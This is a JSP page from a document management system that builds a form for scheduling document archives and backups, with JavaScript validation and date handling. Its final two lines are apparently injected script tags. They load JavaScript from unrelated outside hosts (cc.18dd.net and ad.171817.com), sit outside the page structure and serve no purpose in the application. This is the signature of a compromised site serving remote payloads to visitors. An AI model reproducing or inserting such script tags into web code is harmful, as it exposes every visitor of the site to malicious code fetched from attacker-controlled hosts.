<%
/*
 * @(#)EditDmsArchive.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsArchive.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    23/10/2003
    @version          $Revision: 1.46.2.17 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsArchiveForm" scope="request" class="com.dcivision.dms.web.MaintDmsArchiveForm"/>

<script language="Javascript">
<!--
/*
function addFolderToList(docID, rootID) {
  document.maintDmsArchiveForm.opMode.value="LRETAIN";
  document.maintDmsArchiveForm.parentID.value=docID;
  document.maintDmsArchiveForm.rootID.value=rootID;
  document.maintDmsArchiveForm.submit();
}
*/
function delFolderToList(docID, rootID) {
  var hasBasicSelectedID = false;
  for (var i = 0; i < document.maintDmsArchiveForm.length; i++) {
    if (document.maintDmsArchiveForm.elements[i].name == "basicSelectedID") {
      if (document.maintDmsArchiveForm.elements[i].checked) {
        hasBasicSelectedID = true;
        break;
      }
    }
  }
  if (!hasBasicSelectedID){
    alert("<bean:message key='common.message.no_record_selected'/>");
    return false;
  }
  document.maintDmsArchiveForm.opMode.value="LDEL";
  document.maintDmsArchiveForm.parentID.value=docID;
  document.maintDmsArchiveForm.rootID.value=rootID;
  document.maintDmsArchiveForm.submit();
  return false;
}
function OpSearchByPeriodType(period){
    document.maintDmsArchiveForm.periodType.value=period;
	//joan.xiong add code for bug EIP-1068 by 2006/11/27
	document.maintDmsArchiveForm.opMode.value="";
	//joan.xiong add code end
    document.maintDmsArchiveForm.submit();
    return false;
}

function rootChangeSubmit() {
  document.maintDmsArchiveForm.destinationID.value="";
  document.maintDmsArchiveForm.action="MaintDmsArchiveForm.do";
  document.maintDmsArchiveForm.submit();
}

function OpCustSave() {
  var vtmp = document.maintDmsArchiveForm.archiveName.value;
  if( vtmp ) {
  	vtmp = vtmp.substring(vtmp.length-1,vtmp.length);
  	if( vtmp.match(/^\.$/) ) {
		alert("<bean:message key="dms.archivename.validate"/>");
		return false;
  	}
  }
  var hasBasicSelectedID = false;
  for (var i = 0; i < document.maintDmsArchiveForm.length; i++) {
    if (document.maintDmsArchiveForm.elements[i].name == "basicSelectedID") {
    //  if (document.maintDmsArchiveForm.elements[i].checked) {
        hasBasicSelectedID = true;
        break;
    //  }
    }
  }
  if (!hasBasicSelectedID){
    alert("<bean:message key='common.message.no_record_selected'/>");
    return false;
  }

  var currentTime="<%=Utility.getCurrentTimestamp()%>";
  var date = document.maintDmsArchiveForm.archiveDate.value.substring(0,11);
  var hour = document.maintDmsArchiveForm.archiveHour.value;
  var minute = document.maintDmsArchiveForm.archiveMinute.value;
  var archiveDate = date+hour+":"+minute;
//  alert("cru" + currentTime + "   arc:" + archiveDate);
  if(document.maintDmsArchiveForm.archiveNow.checked==false){
    if (compareDateValue(currentTime,archiveDate,false) > -1){
      alert("<bean:message key='dms.message.archive_date_earlier_than_now_time'/>");
      return (false);
    }
  }
  document.maintDmsArchiveForm.periodType.value='';
  return OpSave();
}

function OpCustSaveAndNew() {
  document.maintDmsArchiveForm.periodType.value='';
  return OpSaveAndNew();
}

function alertNoCompoundDoc(){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function alertNoPaperDoc(){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function refreshPage(rootID, parentID, homePageFunctionCode){  
  document.maintDmsArchiveForm.opMode.value="LRETAIN";
  document.maintDmsArchiveForm.parentID.value=docID;
  document.maintDmsArchiveForm.rootID.value=rootID;
  document.maintDmsArchiveForm.submit();
}

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  if (jsDate1==null && jsDate2==null) {
    return -1; //treat as the same
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}

function setArchiveNow(){
  if(document.maintDmsArchiveForm.archiveNow.checked==true){
    FindObj('showArchiveTimeTab').style.display = "none";
  }else{
    FindObj('showArchiveTimeTab').style.display = "block";
  }
}

function refreshPageArchive(addIds) {
  document.maintDmsArchiveForm.opMode.value="LRETAIN";
  document.maintDmsArchiveForm.addArchiveID.value=addIds;
  document.maintDmsArchiveForm.submit();
}
-->
</script>
<html:form action="dms/MaintDmsArchive" styleClass="form-style-2">
<html:javascript formName="maintDmsArchiveForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  String[][]  LABEL_MAP = { {"ID", "ID"}, 
                            {"dms.label.name_Z", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.description",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE} };
/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  String rootID = maintDmsArchiveForm.getRootID();
  String parentID = maintDmsArchiveForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  String functionType = "dms.label.archive_records";

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  
  Integer targetRootID =  maintDmsArchiveForm.getTargetRootID()==null? TextUtility.parseIntegerObj(rootID) : TextUtility.parseIntegerObj(maintDmsArchiveForm.getTargetRootID());
  Integer destinationID = maintDmsArchiveForm.getDestinationID()==null? TextUtility.parseIntegerObj(parentID) : TextUtility.parseIntegerObj(maintDmsArchiveForm.getDestinationID());
  
  int selectedHr = -1;
  if (request.getParameter("selectedHr")!=null){
    selectedHr = Integer.parseInt(request.getParameter("selectedHr"));
  }
  int selectedMin = -1;
  if (request.getParameter("selectedMin")!=null){
    selectedMin = Integer.parseInt(request.getParameter("selectedMin"));
  }
  String DEFAULT_HR = "7";
  int minuteInterval;
  if(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL)!=null){
    minuteInterval = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL).intValue();
  } else {
    minuteInterval = 1;
  }
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   String returnURL="ListDmsArchive.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   %>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='rootID'/>
<html:hidden property='periodType'/>
<html:hidden property='parentID'/>
<html:hidden property='addArchiveID'/>

<!--TO FIX: not implemented yet-->
<html:hidden property='description'/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
        <% String actionString = "return(OpenCenteredPopup('" + request.getContextPath() + "/dms/ListDmsArchiveFolder.do','ArchiveFolder',750,500,'scrollbars=yes'))"; %>
        <html:colheaderButton label="form.label.add_element" onClick='<%=actionString%>'/>
        <html:colheaderButton label="common.label.delete" onClick='<%="return(delFolderToList(" + parentID + "," + rootID + "))"%>'/>
    </div>
</layout:listBar>
<!-- Page List Bar End -->

<!--start Archive folder-->
    <div id="dataGrid" class="listTable">
    <table>
      <tr>
        <layout:columnHeader form="maintDmsArchiveForm" labelMap="<%=LABEL_MAP%>" sortAttribute="" sortOrder="" copyColumn="false" editColumn="false"/>
      </tr>
      <logic:iterate id="dmsDocument" name="archiveFolderList" scope="request" indexId="listLoopCnt">
      <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
        <td align="left">
          <input type="checkbox" name="basicSelectedID" value="<%=((DmsDocument)dmsDocument).getID()%>" onclick="return(false);">
        </td>
        <td>
        <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' onClick='false' permission='R' rootDocument='<%=rootFolder%>'/>
        </td>
        <td>
          <%=((DmsDocument)dmsDocument).getReferenceNo()==null? "":((DmsDocument)dmsDocument).getReferenceNo()%>
        </td>
        <td>
        <%=((DmsDocument)dmsDocument).getDescription()==null? "":((DmsDocument)dmsDocument).getDescription()%>
        </td>
        <td align="left">
        <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
          <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsDocument).getParentID()).trim()%>
        <%}else{%>
          <bean:message key='dms.label.root'/>
        <%}%>
        </td>
      </tr>
      </logic:iterate>
    </table>
    </div>
    <!--end Archive folder -->

<layout:tabContainer id="tab1">
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
        <!-- Section Header -->
         <layout:sectionHeader name="dms.label.archive_criteria" mandatory="true"/>
        <tr>
          <td class="formLabelSmall"><bean:message key='dms.label.archive_type'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:radio property='archiveType' value='<%=DmsArchive.BACKUP_TYPE%>'><bean:message key='dms.label.archive_type_backup'/></html:radio>
            <html:radio property='archiveType' value='<%=DmsArchive.ARCHIVE_TYPE%>'><bean:message key='dms.label.archive_type_archive'/></html:radio>
          </td>
        </tr>
        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        <tr>
          <td class="formLabelSmall" height='20'><bean:message key='common.label.view'/>:&nbsp;</td>
          <td class="formFieldSmall">
            &nbsp;
            <logic:notEqual name='maintDmsArchiveForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='maintDmsArchiveForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='maintDmsArchiveForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='maintDmsArchiveForm' property='periodType' value='today'></a></logic:notEqual>
            &nbsp;|&nbsp;
            <logic:notEqual name='maintDmsArchiveForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='maintDmsArchiveForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='maintDmsArchiveForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='maintDmsArchiveForm' property='periodType' value='week'></a></logic:notEqual>
            &nbsp;|&nbsp;
            <logic:notEqual name='maintDmsArchiveForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='maintDmsArchiveForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='maintDmsArchiveForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='maintDmsArchiveForm' property='periodType' value='month'></a></logic:notEqual>
            &nbsp;|&nbsp;
            <logic:notEqual name='maintDmsArchiveForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='maintDmsArchiveForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='maintDmsArchiveForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='maintDmsArchiveForm' property='periodType' value='full'></a></logic:notEqual>
          </td>
        </tr>
        <% } %>
        <tr>
          <td class="formLabelSmall"><bean:message key='dms.label.archive_date_from'/>:&nbsp;</td>
          <td class="formFieldSmall"><html:datepicker property='archiveDateFrom'/><bean:message key='common.label.period_to'/>&nbsp;&nbsp;<html:datepicker property='archiveDateTo'/></td>
        </tr>
        <tr>
          <td class="formLabelSmall"><bean:message key='dms.label.sys_info'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property='userDefinedFieldID' size='6' multiple='true'>
              <html:options dbListName='dmsUserDefinedIndexList'/>
            </html:select>
          </td>
        </tr>
        <tr>
          <td class="formLabelSmallMan"><bean:message key='dms.label.archive_name_desc'/>:&nbsp;</td>
          <td class="formFieldSmall"><html:text property='archiveName' size='40' maxlength='100'/></td>
        </tr>
        <tr>
          <td class="formLabelSmall"><bean:message key='dms.label.archive_date'/>:&nbsp;</td>
          <td class="formFieldSmall">
          
          <html:checkbox property="archiveNow" value="Y" onclick='setArchiveNow();'><bean:message key='dms.message.archive_now'/></html:checkbox>
          <%
            // hide archive date when archiveNow is checked. (lee 06/11/27 EIP-768)
            String archiveNow = request.getParameter("archiveNow");
            String displayType = (archiveNow==null || !archiveNow.equals("Y")) ? "block" : "none";
          %>
          <div id="showArchiveTimeTab" style="display:<%=displayType%>">
          <%if(GlobalConstant.NAV_MODE_NEW.equals(maintDmsArchiveForm.getNavMode())){%>
           <html:datepicker property='archiveDate' defaultToday='true' readonly='true'/>&nbsp;
            <select name="archiveHour">
            <%for (int i = 0; i < 24; i++) { %>
              <option <%= (selectedHr==i) ?  "selected" : ((TextUtility.parseIntegerObj((maintDmsArchiveForm.getArchiveHour()==null ? DEFAULT_HR : maintDmsArchiveForm.getArchiveHour())).intValue()==i) ? "selected" : "" ) %> value='<%=i < 10 ? "0" + i : String.valueOf(i)%>'><%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
            <%}%>
            </select>
               :
            <select name="archiveMinute">
            <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
              <%int archiveMinute=(TextUtility.parseIntegerObj(maintDmsArchiveForm.getArchiveMinute()==null ? "30" : maintDmsArchiveForm.getArchiveMinute())).intValue();%>
              <option <%= (selectedMin==i) ? "selected" : ((archiveMinute>=i&&archiveMinute<i+minuteInterval) ? "selected" : "" ) %> value="<%=String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
            <%}%>
            </select>
             <%}else if(GlobalConstant.NAV_MODE_VIEW.equals(maintDmsArchiveForm.getNavMode())){%>
            <%=maintDmsArchiveForm.getDatetime()%>
            <%}%>
            </div>
          </td>
        </tr>
        <tr>
          <td colspan="2" align="left"><span style="background-color:#66CCFF;"><bean:message key='dms.tips.archive_warning'/></span></td>
        </tr>
        <tr>
          <td colspan="2"><layout:auditTrail/></td>
        </tr>
       </table>
       </div>
       </layout:tabContainer>
       
<div id="bottomButtonArea">
    <div id="buttonSection">
          <!-- The Buttons for Actions Handling -->
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>	
            <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
            <html:standardButton label="common.label.more" onClick="return OpCustSaveAndNew()"/>
            <%}%>
          <%} %>
          <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
          </logic:equal>
    </div>
</div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>